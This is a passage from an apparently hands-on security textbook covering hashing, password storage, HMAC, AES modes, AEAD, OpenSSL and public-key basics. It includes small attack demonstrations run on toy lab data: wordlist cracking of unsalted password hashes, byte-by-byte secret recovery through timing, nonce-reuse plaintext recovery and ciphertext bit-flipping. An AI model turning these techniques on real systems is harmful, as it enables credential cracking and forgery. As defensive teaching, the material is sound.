SHAttered (2017) — Google and CWI produced two different PDF files with the same SHA-1 hash. Immediately afterwards, SHA-1 was removed from certificate issuance, and git had to add collision detection.

Choosing in practice

   General-purpose hashing, integrity, signatures    -> SHA-256
   Need extra margin / long-term                     -> SHA-512 or SHA-3-256
   Performance-critical (lots of data)               -> BLAKE3
   Hashing PASSWORDS                                 -> NONE OF THESE (Chapter 10)
   Legacy system compatibility only                  -> document the risk, plan removal

Simplified: SHA-512 is often faster than SHA-256 on 64-bit CPUs, despite the bigger output. If you want margin and speed, SHA-512 (or its truncated variant SHA-512/256) is a good pick.

Length-extension: a subtlety that matters

SHA-1 and SHA-2 have a structural quirk: given hash(secret || message) and the length of secret, an attacker can compute hash(secret || message || extra) without knowing the secret.

   NAIVE (broken):   token = sha256(secret + data)
                     -> attacker appends "&admin=true" and forges a valid token

   CORRECT:          token = HMAC-SHA256(secret, data)      (Chapter 11)

SHA-3 and BLAKE2/3 are immune by design. But the right answer is always HMAC, not picking a different hash.

cd ~/sec-lab/scratch

# --- compare algorithms and their output sizes ---
for alg in md5 sha1 sha256 sha512 sha3-256; do
  printf "%-10s " "$alg"; printf 'hello' | openssl dgst -$alg 2>/dev/null | awk '{print $2}'
done

# --- speed comparison ---
openssl speed -evp sha256 2>/dev/null | tail -3
openssl speed -evp sha512 2>/dev/null | tail -3

# --- see a REAL MD5 collision ---
# Two different files, identical MD5. (Marc Stevens' classic example.)
curl -sO https://raw.githubusercontent.com/corkami/collisions/master/examples/free/md5_1.bin
curl -sO https://raw.githubusercontent.com/corkami/collisions/master/examples/free/md5_2.bin
cmp md5_1.bin md5_2.bin && echo "identical files" || echo "DIFFERENT files"
openssl dgst -md5 md5_1.bin md5_2.bin
openssl dgst -sha256 md5_1.bin md5_2.bin      # SHA-256 tells them apart

Chapter 10 — Password storage is a completely different problem

Why SHA-256 is the wrong tool here

Everything that makes SHA-256 a good hash makes it a terrible password hash: it's fast.

   A modern GPU computes roughly 10 BILLION SHA-256 hashes per second.
   A rig of 8 GPUs: ~100 billion per second.

   Every 8-character lowercase password:  26^8  = 209 billion  -> ~2 seconds
   Every 8-character alphanumeric:        62^8  = 218 trillion -> ~36 minutes

Your users' passwords are not random. Attackers start with wordlists of the billions of passwords already leaked, plus rules that append 123 and !. In practice, most of a stolen SHA-256 password database is cracked within hours.

The three problems, and their fixes

Problem 1 — Speed. Fixed by a deliberately slow, tunable function.

Problem 2 — Identical passwords hash identically.

   Without a salt:
     alice   sha256("password123") = ef92b778ba...
     bob     sha256("password123") = ef92b778ba...    <-- same!

   The attacker instantly sees they share a password, and cracking it once
   cracks both. Worse, PRECOMPUTED TABLES (rainbow tables) of common
   passwords let them skip the work entirely.

Fixed by a salt: random, unique per user, stored alongside the hash.

   With a salt:
     alice   salt=7f3a...  hash(salt + "password123") = 91cd44...
     bob     salt=c218...  hash(salt + "password123") = 3e0ab7...
                                                        ^^ different

   Precomputation is now useless -- an attacker must attack each user
   separately.

The salt is not secret. It's stored in plaintext with the hash. Its only job is uniqueness.

Problem 3 — GPUs are very good at hashing. Fixed by making the function memory-hard, so a GPU's thousands of small cores can't be used efficiently.

What to actually use (2026)

* These are OWASP's current minimums. Verify against the OWASP Password Storage Cheat Sheet before you ship — the numbers rise as hardware improves.

How to tune: pick the highest cost your server can afford. A good target is ~250–500 ms per hash on your production hardware. Measure it; don't guess.

The bcrypt gotcha

bcrypt silently truncates input at 72 bytes. Two consequences:

   1. A very long passphrase is cut short -- everything past 72 bytes is ignored.
   2. If you PRE-HASH to work around it (bcrypt(sha256(password))), you must
      base64-encode the digest first -- raw SHA-256 output can contain a NUL
      byte, and some bcrypt implementations truncate at the first NUL,
      catastrophically reducing the effective password.

If you need long passphrases, use Argon2id and avoid the whole issue.

Peppering (optional extra layer)

A pepper is a secret value added to every password hash, stored outside the database — in an HSM, a KMS, or at least a separate config store.

   hash = Argon2id(password + pepper, salt)

   If the attacker steals only the DATABASE, they can't crack anything
   without the pepper.
   If they steal the application server too, the pepper is gone.

It's genuinely useful defence in depth, but it complicates key rotation. Do the salt correctly first.

The complete implementation

# pip install argon2-cffi
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError, InvalidHashError

ph = PasswordHasher(
    memory_cost=65536,   # 64 MiB -- above the OWASP minimum; tune to your box
    time_cost=3,         # iterations
    parallelism=4,       # lanes
)

def register(password: str) -> str:
    # argon2-cffi generates a random salt and stores it IN the hash string
    return ph.hash(password)          # store this whole string in the DB

def login(stored_hash: str, password: str) -> bool:
    try:
        ph.verify(stored_hash, password)
    except (VerifyMismatchError, InvalidHashError):
        return False
    # transparently upgrade the cost when you raise parameters later
    if ph.check_needs_rehash(stored_hash):
        save_new_hash(ph.hash(password))
    return True

The stored value looks like this — everything needed to verify is in it:

   $argon2id$v=19$m=65536,t=3,p=4$c29tZXNhbHQ$RdescudvJCsgt3ub+b+dWRWJTmaaJObG
   \_______/ \__/ \______________/ \________/ \_________________________________/
   algorithm  ver    parameters       salt                  hash

That self-describing format is why you can raise the cost later without breaking existing users.

The other things that matter more than the hash

   [ ] Rate-limit login attempts (per account AND per IP)
   [ ] Check against known-breached passwords (Have I Been Pwned's k-anonymity
       API lets you do this without sending the password or its full hash)
   [ ] Support long passphrases -- set a maximum around 64-128 chars, not 16
   [ ] Do NOT impose silly composition rules; NIST SP 800-63B advises against
       forced complexity and forced periodic rotation
   [ ] Offer MFA -- it defeats credential stuffing even when a password leaks
   [ ] Never log the password. Check your error handlers and APM tooling.
   [ ] Use a CONSTANT-TIME comparison for any token comparison (Chapter 11)
   [ ] Return the SAME error and timing for "no such user" and "wrong password"

That last one prevents username enumeration — otherwise an attacker learns which accounts exist, which makes everything else easier.

cd ~/sec-lab/scratch
pip install argon2-cffi bcrypt 2>/dev/null || pip3 install argon2-cffi bcrypt

python3 - <<'PY'
import time, hashlib
from argon2 import PasswordHasher
import bcrypt

pw = b"correct horse battery staple"

# 1. How fast is a plain hash? (This is the problem.)
t = time.time()
for _ in range(100000): hashlib.sha256(pw).hexdigest()
dt = time.time() - t
print(f"SHA-256: {100000/dt:>12,.0f} hashes/sec on ONE CPU core")
print(f"         a GPU rig does this ~100,000x faster\n")

# 2. bcrypt
t = time.time(); h = bcrypt.hashpw(pw, bcrypt.gensalt(12)); dt = time.time()-t
print(f"bcrypt(12): {dt*1000:.0f} ms  -> {1/dt:,.1f} hashes/sec")
print(f"  stored: {h.decode()[:40]}...")

# 3. Argon2id
ph = PasswordHasher(memory_cost=65536, time_cost=3, parallelism=4)
t = time.time(); h2 = ph.hash(pw); dt = time.time()-t
print(f"\nArgon2id:   {dt*1000:.0f} ms  -> {1/dt:,.1f} hashes/sec")
print(f"  stored: {h2}")

# 4. Salts make identical passwords look different
print("\nSame password, three registrations:")
for _ in range(3): print(" ", ph.hash(b"password123")[:60], "...")
PY

python3 - <<'PY'
import hashlib, time

# A "database" hashed the naive way
db = {u: hashlib.sha256(p.encode()).hexdigest()
      for u, p in [("alice","password123"),("bob","letmein"),
                   ("carol","qwerty"),("dave","password123")]}

# Attacker observation #1: alice and dave have the SAME hash
print("identical hashes ->", [u for u,h in db.items() if h == db["alice"]])

# Attacker observation #2: a tiny wordlist cracks it instantly
wordlist = ["123456","password","letmein","qwerty","password123","admin"]
t = time.time()
rainbow = {hashlib.sha256(w.encode()).hexdigest(): w for w in wordlist}
for user, h in db.items():
    print(f"  {user:6} -> {rainbow.get(h, '(not in wordlist)')}")
print(f"cracked in {(time.time()-t)*1000:.2f} ms")
PY

Chapter 11 — HMAC: proving a message wasn't tampered with

   Alice sends:   message = "pay bob 100"
                  hash    = sha256(message)

   Mallory intercepts, and simply sends:
                  message = "pay mallory 9000"
                  hash    = sha256("pay mallory 9000")     <-- she can compute it!

   Bob checks the hash. It matches. He pays.

The naive fix, and why it fails

   BROKEN:   tag = sha256(secret || message)

   Vulnerable to LENGTH EXTENSION (Chapter 9): given the tag and the length
   of the secret, an attacker computes a valid tag for
   message || padding || anything_they_want -- without knowing the secret.

This is not theoretical: it's how the Flickr API signature was broken in 2009.

HMAC: the correct construction

HMAC nests the hash twice with two derived keys, which defeats length extension:

   HMAC(K, m) = H( (K XOR opad) || H( (K XOR ipad) || m ) )

   where  ipad = 0x36 repeated,  opad = 0x5c repeated

You never need to implement this — every language has it. But knowing why it's nested explains why you must not roll your own.

   Alice:  tag = HMAC-SHA256(shared_key, "pay bob 100")
           sends (message, tag)

   Bob:    recomputes HMAC-SHA256(shared_key, received_message)
           compares to received tag, IN CONSTANT TIME

   Mallory: cannot produce a valid tag without the key.

MAC vs Signature — the distinction that matters

   HMAC (symmetric)                 SIGNATURE (asymmetric, Chapter 21)
   ----------------                 ---------------------------------
   ONE shared key                   private key signs, public key verifies
   Both parties can create tags     only the holder of the private key can sign
   FAST (microseconds)              slower (milliseconds)
   -> integrity + authenticity      -> integrity + authenticity + NON-REPUDIATION

   Because both sides can create an HMAC, Bob cannot prove to a THIRD PARTY
   that Alice sent it -- he could have made it himself.
   A signature can be proven to a third party. That's non-repudiation.

Choose HMAC when both parties are you (session tokens, internal APIs, webhooks). Choose signatures when a third party must verify, or when you can't share a key.

Where you'll actually use HMAC

Constant-time comparison — do not skip this

   # DANGEROUS -- leaks information through timing
   if computed_tag == received_tag:      # == returns early on first mismatch

   # CORRECT
   import hmac
   if hmac.compare_digest(computed_tag, received_tag):

A normal == stops at the first differing byte. An attacker who can measure response times learns how many leading bytes were correct, and can then forge a tag one byte at a time — a few thousand requests instead of 2^256 guesses.

Use constant-time comparison for every secret comparison: MACs, tokens, API keys, password reset codes, TOTP codes.

cd ~/sec-lab/scratch

python3 - <<'PY'
import hmac, hashlib, time

key = b"shared-secret-key"

def sign(msg: bytes) -> str:
    return hmac.new(key, msg, hashlib.sha256).hexdigest()

def verify(msg: bytes, tag: str) -> bool:
    return hmac.compare_digest(sign(msg), tag)     # CONSTANT TIME

msg = b"pay bob 100"
tag = sign(msg)
print("message:", msg.decode())
print("tag:    ", tag)
print("verify original: ", verify(msg, tag))

# Attacker tampers with the message
print("verify tampered: ", verify(b"pay mallory 9000", tag))

# Attacker tries to forge a tag without the key -- they can't
print("forged tag ok?:  ", verify(b"pay mallory 9000",
       hmac.new(b"guessed-key", b"pay mallory 9000", hashlib.sha256).hexdigest()))
PY

python3 - <<'PY'
import time, statistics

SECRET = "a1b2c3d4e5f6a7b8"

def unsafe_compare(a, b):          # early-return, like ==
    if len(a) != len(b): return False
    for x, y in zip(a, b):
        if x != y: return False
        time.sleep(0.0005)         # exaggerate real per-byte work
    return True

def timed(guess, n=15):
    ts = []
    for _ in range(n):
        t = time.perf_counter(); unsafe_compare(SECRET, guess)
        ts.append(time.perf_counter() - t)
    return statistics.median(ts)

# Recover the secret one character at a time by timing alone
recovered = ""
for pos in range(len(SECRET)):
    best = max("0123456789abcdef",
               key=lambda c: timed(recovered + c + "x"*(len(SECRET)-pos-1)))
    recovered += best
    print(f"  position {pos:2}: {recovered}")
print("\nrecovered:", recovered, "| correct:", recovered == SECRET)
PY

Chapter 12 — The idea, and what "perfect secrecy" costs

The vocabulary

   PLAINTEXT     the original message                    "attack at dawn"
   KEY           the shared secret                        (128-256 random bits)
   CIPHERTEXT    the scrambled output                     8f3a2b91c4...
   CIPHER        the algorithm                            AES, ChaCha20

        plaintext + key  --[ encrypt ]-->  ciphertext
        ciphertext + key --[ decrypt ]-->  plaintext

Symmetric = the same key both ways. Asymmetric (Part 5) = two different keys.

Kerckhoffs's principle

The system must remain secure even if everything about it, except the key, is public knowledge.

Stated in 1883, and it is the single most important rule in this Part. All the secrecy lives in the key, never in the algorithm.

Why this matters practically:

   "Our encryption is proprietary, nobody knows how it works."
        -> This is a RED FLAG, not a feature.

   Real algorithms (AES, ChaCha20) are published, standardised, and have been
   attacked by thousands of researchers for decades without breaking.
   THAT is why we trust them.

   Your in-house cipher has been reviewed by you.

Never roll your own crypto. Not the algorithm, and preferably not the implementation either. This is not gatekeeping — it is that cryptographic bugs are silent. The code runs, the output looks random, and it is broken.

The one-time pad: perfect, and useless

There is an unbreakable cipher. XOR (§0.5) the message with a truly random key the same length as the message, and never reuse the key.

   plaintext   01100001 01110100 01110100     "att"
   key(random) 11010110 00101110 10011001
               --------------------------- XOR
   ciphertext  10110111 01011010 11101101

Claude Shannon proved in 1949 that this has perfect secrecy: the ciphertext gives an attacker literally zero information. Any plaintext of the same length is equally possible.

So why doesn't everyone use it?

   1. The key must be as LONG as the message.
      Encrypting 1 GB needs 1 GB of key -- which you must somehow
      already have shared securely. If you can do that, you could
      have just shared the message.

   2. The key must be TRULY RANDOM. Not a PRNG. Real entropy.

   3. The key must NEVER be reused. Not once.

   4. It provides NO INTEGRITY. An attacker who knows the plaintext
      can flip any bit they like:
         ciphertext XOR ("attack" XOR "defend") = a valid encryption of "defend"

Why key reuse is catastrophic

This is worth seeing, because the same mistake recurs in modern systems (nonce reuse — Chapter 14).

   C1 = P1 XOR K
   C2 = P2 XOR K

   Attacker computes:
   C1 XOR C2 = (P1 XOR K) XOR (P2 XOR K) = P1 XOR P2
                                            ^^^^^^^^^
                        the key CANCELS OUT completely.

The attacker now has the XOR of two plaintexts, which is readily separated using language statistics. This broke the Soviet VENONA traffic in the 1940s, and it broke Microsoft's PPTP and WEP decades later.

The lesson that carries forward: a stream of key material must never be reused with different data. Modern ciphers keep this property; you break it by reusing a nonce.

What real ciphers do instead

Take a short key (128–256 bits) and stretch it into a long, unpredictable keystream — or scramble data in fixed-size blocks. You give up provable perfect secrecy for computational security: breaking it is possible in principle and infeasible in practice.

   ONE-TIME PAD      perfect secrecy      impractical
   AES / ChaCha20    computational        a 256-bit key protects terabytes
                     security             and fits in a config file

mkdir -p ~/sec-lab/scratch && cd ~/sec-lab/scratch

python3 - <<'PY'
import os

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

# 1. One-time pad works
msg = b"attack at dawn"
key = os.urandom(len(msg))
ct  = xor(msg, key)
print("plaintext :", msg)
print("ciphertext:", ct.hex())
print("decrypted :", xor(ct, key))

# 2. Reusing the key destroys it
p1, p2 = b"attack at dawn", b"retreat at dusk"
k = os.urandom(20)
c1, c2 = xor(p1, k), xor(p2, k)
print("\nC1 XOR C2 =", xor(c1, c2).hex())
print("P1 XOR P2 =", xor(p1, p2).hex())
print("identical -- the key cancelled out:", xor(c1, c2)[:14] == xor(p1, p2)[:14])

# 3. No integrity: flip 'attack' to 'defend' without the key
known, target = b"attack", b"defend"
forged = xor(ct[:6], xor(known, target)) + ct[6:]
print("\nforged decrypts to:", xor(forged, key))
PY

Chapter 13 — Block ciphers and AES

Block vs stream ciphers

   BLOCK CIPHER                          STREAM CIPHER
   encrypts fixed-size chunks            generates a keystream, XORs it
   AES: always 128-bit (16-byte) blocks   ChaCha20, and AES in CTR mode

   needs PADDING if data isn't a          works on any length, byte by byte
   multiple of the block size

In practice the line is blurry: AES in counter mode (Chapter 14) is a stream cipher built from a block cipher.

AES, briefly

AES (Advanced Encryption Standard) was selected by NIST in 2001 after a five-year open competition. The winning design was called Rijndael.

   Block size:  128 bits (16 bytes)  -- ALWAYS, for every key size
   Key sizes:   128, 192, or 256 bits
   Rounds:      10 (AES-128), 12 (AES-192), 14 (AES-256)

Each round performs four steps on a 4×4 byte grid:

   SubBytes     substitute each byte via a lookup table (non-linearity)
   ShiftRows    shift row i left by i positions        (diffusion across columns)
   MixColumns   mix the bytes within each column        (diffusion within columns)
   AddRoundKey  XOR with a key derived for this round   (the secret)

You never need to implement this. What matters is the properties: after 10+ rounds, every output bit depends on every input bit and every key bit, and no known attack does meaningfully better than brute force.

Optional detail: the best known attacks on full AES-256 reduce the work from 2^256 to about 2^254 — an academic result with no practical impact. Related-key attacks exist against AES-192/256 but require key relationships that don't occur in correct use.

AES-128 vs AES-256

Chapter 23 explains the Grover column. Short version: use AES-256 — the cost is small and it is the simple hedge against quantum attacks on symmetric crypto.

Hardware acceleration matters enormously

Modern CPUs implement AES in hardware (Intel/AMD AES-NI, ARMv8 crypto extensions).

   AES in software:  ~100-200 MB/s per core
   AES with AES-NI:  ~1-5 GB/s per core       -- 10-50x faster

This is why AES-GCM dominates TLS on servers. On hardware without acceleration (older ARM, some embedded, some phones), ChaCha20-Poly1305 is faster — which is exactly why TLS supports both and mobile clients often prefer ChaCha20.

Padding

A block cipher needs whole blocks. PKCS#7 padding appends N bytes, each with value N:

   13 bytes of data + 3 bytes padding:   ... 03 03 03
   16 bytes of data (already a full block) adds a WHOLE extra block of 16 x 0x10
       (so the receiver can always unambiguously remove padding)

Padding seems boring. It caused the padding oracle attack — one of the most important practical crypto attacks ever found (Chapter 14). Modes like CTR and GCM avoid padding entirely, which is one reason they won.

cd ~/sec-lab/scratch

# --- Does your CPU accelerate AES? ---
openssl speed -evp aes-256-gcm 2>/dev/null | tail -4
openssl speed -evp chacha20-poly1305 2>/dev/null | tail -4
# On x86 check the flag directly:
grep -o aes /proc/cpuinfo 2>/dev/null | head -1 || sysctl -a 2>/dev/null | grep -i aes | head -2

# --- Block size is always 16 bytes ---
printf 'a' > one.txt
openssl enc -aes-256-ecb -K $(openssl rand -hex 32) -in one.txt -out one.enc
ls -l one.txt one.enc      # 1 byte in, 16 bytes out -- padding

Chapter 14 — Modes of operation (and why ECB is a meme)

ECB — Electronic Codebook (never use this)

The obvious approach: encrypt each block independently.

   P1 -> [AES] -> C1
   P2 -> [AES] -> C2
   P3 -> [AES] -> C3

The fatal flaw: identical plaintext blocks produce identical ciphertext blocks. Structure in the plaintext survives into the ciphertext.

   THE FAMOUS DEMONSTRATION

   Take a bitmap image of the Linux penguin. Encrypt it with AES-ECB.
   The result is still visibly a penguin -- because large areas of identical
   colour become large areas of identical ciphertext.

           original                 AES-256-ECB
        +-------------+           +-------------+
        |   (o_o)     |           | ::::(o_o):: |     <-- you can still SEE it
        |  <penguin>  |    ==>    | :<penguin>: |
        |             |           | ::::::::::: |
        +-------------+           +-------------+

This isn't a toy concern. ECB leaks:

• Repeated records in an encrypted database
• Whether two encrypted messages are the same
• Structure in encrypted network protocols

Dangerous: ECB is often the default in older libraries and in naive code (Cipher.getInstance("AES") in Java historically defaulted to ECB). If you see ECB in a code review, it is a finding.

CBC — Cipher Block Chaining

XOR each plaintext block with the previous ciphertext block before encrypting. A random IV (initialisation vector) seeds the chain.

        IV        P1              P2              P3
         |         |               |               |
         +--XOR----+     +--XOR----+     +--XOR----+
                   |     |         |     |         |
                 [AES] --+       [AES] --+       [AES]
                   |               |               |
                   C1              C2              C3

Now identical plaintext blocks encrypt differently. Properties:

   + hides patterns
   - SEQUENTIAL encryption (can't parallelise)      decryption CAN parallelise
   - needs padding                                   -> padding oracle risk
   - NO integrity protection
   - IV must be random and unpredictable (not just unique)

The padding oracle attack. If an attacker can tell the difference between "padding was invalid" and "padding was valid but the message was wrong" — through error messages, response codes, or timing — they can decrypt the entire ciphertext without the key, one byte at a time. This broke ASP.NET (2010), Ruby on Rails, JSF, and many others.

The fix is not "hide the error". The fix is to authenticate the ciphertext (Chapter 15) so invalid data is rejected before decryption is even attempted.

CTR — Counter mode

Turn the block cipher into a stream cipher: encrypt a counter, then XOR the result with the plaintext.

   nonce||counter=1 -> [AES] -> keystream1 -> XOR P1 -> C1
   nonce||counter=2 -> [AES] -> keystream2 -> XOR P2 -> C2
   nonce||counter=3 -> [AES] -> keystream3 -> XOR P3 -> C3

   + fully PARALLELISABLE both ways
   + NO padding needed (works on any length)
   + random access -- decrypt block 500 without blocks 1-499
   - NO integrity protection
   - CATASTROPHIC if a nonce+key pair is ever reused

Nonce reuse in CTR is exactly the one-time-pad key reuse from Chapter 12. Same keystream, XOR the ciphertexts, key cancels out. This is the single most dangerous footgun in symmetric cryptography.

The mode comparison

cd ~/sec-lab/scratch

python3 - <<'PY'
# Build a simple image with large blocks of identical colour (a PPM file --
# a trivial uncompressed format, so no compression hides the effect).
W, H = 256, 256
px = bytearray()
for y in range(H):
    for x in range(W):
        # a white circle on a black background
        inside = (x-128)**2 + (y-128)**2 < 90**2
        px += bytes([255,255,255] if inside else [0,0,0])
open("plain.ppm","wb").write(b"P6\n%d %d\n255\n" % (W,H) + bytes(px))
print("wrote plain.ppm", W, "x", H)
PY

# Encrypt the PIXEL DATA with ECB, keeping the header readable
KEY=$(openssl rand -hex 32)
head -c 15 plain.ppm > header.bin                      # "P6\n256 256\n255\n"
tail -c +16 plain.ppm > body.bin
openssl enc -aes-256-ecb -K $KEY -in body.bin -out body.ecb -nopad
cat header.bin body.ecb > ecb.ppm

# And with CBC for comparison
IV=$(openssl rand -hex 16)
openssl enc -aes-256-cbc -K $KEY -iv $IV -in body.bin -out body.cbc -nopad
cat header.bin body.cbc > cbc.ppm

echo "Now open plain.ppm, ecb.ppm and cbc.ppm in an image viewer."
echo "ECB: you can still see the circle.  CBC: pure noise."

python3 - <<'PY'
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

key   = os.urandom(32)
nonce = os.urandom(16)          # the SAME nonce, reused -- the bug

def ctr(data):
    c = Cipher(algorithms.AES(key), modes.CTR(nonce)).encryptor()
    return c.update(data) + c.finalize()

p1 = b"TRANSFER 100 USD TO ALICE"
p2 = b"TRANSFER 999 USD TO EVE!!"
c1, c2 = ctr(p1), ctr(p2)

x = bytes(a ^ b for a, b in zip(c1, c2))
y = bytes(a ^ b for a, b in zip(p1, p2))
print("C1 XOR C2 == P1 XOR P2 :", x == y)
# Knowing ONE plaintext reveals the other:
print("recovered p2:", bytes(a ^ b for a, b in zip(x, p1)))
PY

Chapter 15 — AEAD: encryption and authentication together

   Encrypt-and-MAC  (SSH)      MAC the PLAINTEXT, send both.
                               -> the MAC can leak plaintext info

   MAC-then-Encrypt (old TLS)  MAC the plaintext, then encrypt both.
                               -> must decrypt before verifying
                               -> padding oracle attacks

   Encrypt-then-MAC (correct)  Encrypt, then MAC the CIPHERTEXT.
                               -> verify FIRST, reject invalid data
                                  without ever decrypting it

How AEAD works

                 +-------------------------------------------+
   plaintext --> |                                            |
   key       --> |            AEAD ENCRYPT                    | --> ciphertext
   nonce     --> |                                            | --> TAG (16 bytes)
   AAD       --> |                                            |
                 +-------------------------------------------+

   AAD = "Additional Authenticated Data"
         Data that is AUTHENTICATED but NOT ENCRYPTED.
         e.g. a message header, a record number, a version field.
         Anyone can read it; nobody can change it undetected.

On decryption, the tag is verified first. If it fails, you get an error and no plaintext at all. That single property eliminates whole attack classes.

The two you should use

Pick either. Use AES-256-GCM on servers, ChaCha20-Poly1305 on mobile/embedded without AES hardware. TLS negotiates this automatically.

Also worth knowing: XChaCha20-Poly1305 uses a 192-bit nonce, which is large enough that random nonces will never collide in practice. If you're encrypting many messages and are nervous about nonce management, this is the safest choice. (Available in libsodium; not in TLS.)

The nonce rule

   +---------------------------------------------------------------+
   |  NEVER use the same (key, nonce) pair twice.                    |
   |                                                                 |
   |  With GCM this is worse than with CTR: it not only reveals      |
   |  the XOR of plaintexts, it lets an attacker recover the         |
   |  authentication key and FORGE arbitrary messages.               |
   |                                                                 |
   |  Safe approaches:                                               |
   |    * random 96-bit nonce, and rotate the key every ~2^32        |
   |      messages (birthday bound)                                   |
   |    * a strict counter, if you can guarantee it never resets      |
   |    * XChaCha20-Poly1305 with random 192-bit nonces               |
   +---------------------------------------------------------------+

The nonce is not secret — send it alongside the ciphertext. It just must be unique.

The standard message format

   [ nonce (12 bytes) ][ ciphertext (n bytes) ][ tag (16 bytes) ]

   Overhead: 28 bytes per message, regardless of size.

Most libraries append the tag to the ciphertext automatically. You store/transmit the nonce with it.

cd ~/sec-lab/scratch
python3 -m venv .venv && .venv/bin/pip install -q cryptography

.venv/bin/python - <<'PY'
import os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM, ChaCha20Poly1305

key   = AESGCM.generate_key(bit_length=256)
aead  = AESGCM(key)
nonce = os.urandom(12)
aad   = b"msg-version:1;user:alice"      # authenticated, NOT encrypted

pt = b"attack at dawn"
ct = aead.encrypt(nonce, pt, aad)

print("plaintext :", pt, f"({len(pt)} bytes)")
print("ciphertext:", ct.hex(), f"({len(ct)} bytes = {len(pt)} + 16 tag)")
print("decrypted :", aead.decrypt(nonce, ct, aad))

# 1. Tamper with ONE BIT of ciphertext
bad = bytearray(ct); bad[0] ^= 0x01
try:
    aead.decrypt(nonce, bytes(bad), aad)
except Exception as e:
    print("\ntampered ciphertext ->", type(e).__name__, "(no plaintext returned)")

# 2. Tamper with the AAD (which travels in the clear)
try:
    aead.decrypt(nonce, ct, b"msg-version:1;user:mallory")
except Exception as e:
    print("tampered AAD        ->", type(e).__name__)

# 3. Wrong nonce
try:
    aead.decrypt(os.urandom(12), ct, aad)
except Exception as e:
    print("wrong nonce         ->", type(e).__name__)

# 4. ChaCha20-Poly1305 -- identical interface
c = ChaCha20Poly1305(ChaCha20Poly1305.generate_key())
n = os.urandom(12)
print("\nchacha20 round trip:", c.decrypt(n, c.encrypt(n, b"hello", None), None))
PY

Encrypting files with OpenSSL

cd ~/sec-lab/scratch
echo "top secret plans" > secret.txt

# Password-based (OpenSSL derives the key with PBKDF2)
openssl enc -aes-256-cbc -pbkdf2 -iter 600000 -salt \
        -in secret.txt -out secret.enc -pass pass:'correct horse battery staple'

openssl enc -d -aes-256-cbc -pbkdf2 -iter 600000 \
        -in secret.enc -pass pass:'correct horse battery staple'

Note: openssl enc does not support AEAD modes properly (there's no way to handle the tag). For real work use age, libsodium, or your language's AEAD API. openssl enc is fine for a quick file with a password, and the -pbkdf2 -iter flags are mandatory — without them OpenSSL uses a single MD5 iteration, which is trivially crackable.

age is the modern replacement and is much harder to misuse:

# brew install age   /   apt install age
age-keygen -o key.txt
age -r $(grep 'public key' key.txt | cut -d: -f2 | tr -d ' ') -o secret.age secret.txt
age -d -i key.txt secret.age

Chapter 16 — Hands-on: symmetric encryption with OpenSSL

Why this chapter exists

OpenSSL is the tool you will actually reach for. It is also notoriously unfriendly. This chapter is the practical drill.

Generating keys and random data

cd ~/sec-lab/scratch

openssl rand -hex 32          # 256-bit key as hex
openssl rand -base64 32       # 256-bit key as base64
openssl rand -out key.bin 32  # raw bytes to a file

# NEVER generate keys with: date, PID, rand(), or a password you made up.
# Use the OS CSPRNG -- which is what `openssl rand` does.

Password-based encryption (the common case)

echo "the launch code is 0000" > plan.txt

# ENCRYPT -- always include -pbkdf2 and a high -iter
openssl enc -aes-256-cbc -pbkdf2 -iter 600000 -salt \
        -in plan.txt -out plan.enc

# DECRYPT
openssl enc -d -aes-256-cbc -pbkdf2 -iter 600000 -in plan.enc

# Base64-armour it for email/JSON transport (-a)
openssl enc -aes-256-cbc -pbkdf2 -iter 600000 -salt -a -in plan.txt -out plan.b64
cat plan.b64

What each flag does:

Raw key and IV (when you manage keys yourself)

KEY=$(openssl rand -hex 32)     # 32 bytes = 64 hex chars for AES-256
IV=$(openssl rand -hex 16)      # 16 bytes = 32 hex chars

openssl enc -aes-256-cbc -K "$KEY" -iv "$IV" -in plan.txt -out plan.raw
openssl enc -d -aes-256-cbc -K "$KEY" -iv "$IV" -in plan.raw

Dangerous: anything on a command line is visible in ps output and your shell history. For real work, pass keys via a file, an environment variable, or stdin — never as an argument.

Inspecting what you produced

# The OpenSSL container format starts with "Salted__" + 8 salt bytes
xxd plan.enc | head -2

# Compare sizes -- note the padding and the salt header
ls -l plan.txt plan.enc

The OpenSSL survival guide

openssl version -a                  # version and build config
openssl list -cipher-algorithms     # what ciphers are available (OpenSSL 3.x)
openssl errstr 0A000086             # decode a cryptic error code
openssl enc -help                   # flags for a subcommand

Appendix B has the full cookbook.

Chapter 17 — The key-distribution problem and the big idea

   You need the recipient to have the key.
   You can't send the key over the network -- the attacker sees it.
   You can't have pre-shared it -- you've never met.
   You can't phone them -- the attacker may be on the phone line too,
       and anyway this has to work for a billion strangers at once.

   n people who all want to talk securely, pairwise, with symmetric keys:

        n = 10     ->  45 keys
        n = 1000   ->  499,500 keys
        n = 1e6    ->  ~500 billion keys

   Every new person needs a securely-delivered key to everyone else.

   ASYMMETRIC = a PAIR of keys

     PUBLIC KEY                          PRIVATE KEY
     - you publish it everywhere         - you never share it, ever
     - put it in DNS, on your website,   - it lives in one place
       on your business card            - losing it = losing your identity
     - anyone can have it                - leaking it = total compromise

   The two keys are linked by hard maths. What one does, only the other undoes.

The two things it lets you do

   1. ENCRYPT TO SOMEONE (confidentiality)
      Encrypt with their PUBLIC key  ->  only their PRIVATE key decrypts.
      "Anyone can put mail in the mailbox; only the owner has the key to open it."

   2. SIGN SOMETHING (authenticity + integrity)
      Sign with YOUR PRIVATE key     ->  anyone verifies with your PUBLIC key.
      "Only you can produce your wax seal; anyone can check it's yours."

Direction matters. Encrypt-to = their public key. Sign = your private key. Mixing these up is one of the most common conceptual errors — keep the mailbox and wax-seal analogies handy.

The catch: it's slow, so we use it sparingly

Asymmetric operations are hundreds to thousands of times slower than AES, and can only operate on small inputs. So the real world uses a hybrid scheme:

   1. Use asymmetric crypto ONCE to agree on a random symmetric key
        (this is called KEY ENCAPSULATION or KEY EXCHANGE)
   2. Use fast symmetric AEAD (AES-GCM / ChaCha20) for all the actual data

Every HTTPS connection you've ever made works exactly this way. Chapters 18–20 are the "step 1" options; Part 7 shows them assembled into TLS.

The three problems and which primitive solves each

That last row is the one people forget. Public-key crypto lets a stranger send you a secret — but which stranger? Binding a key to an identity is a separate problem, and it's what certificates exist for.

mkdir -p ~/sec-lab/scratch && cd ~/sec-lab/scratch

# Make a keypair. Look at both halves.
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:2048 -out priv.pem
openssl pkey -in priv.pem -pubout -out pub.pem

wc -c priv.pem pub.pem          # the private file is bigger -- it contains more
cat pub.pem                     # SHARE THIS
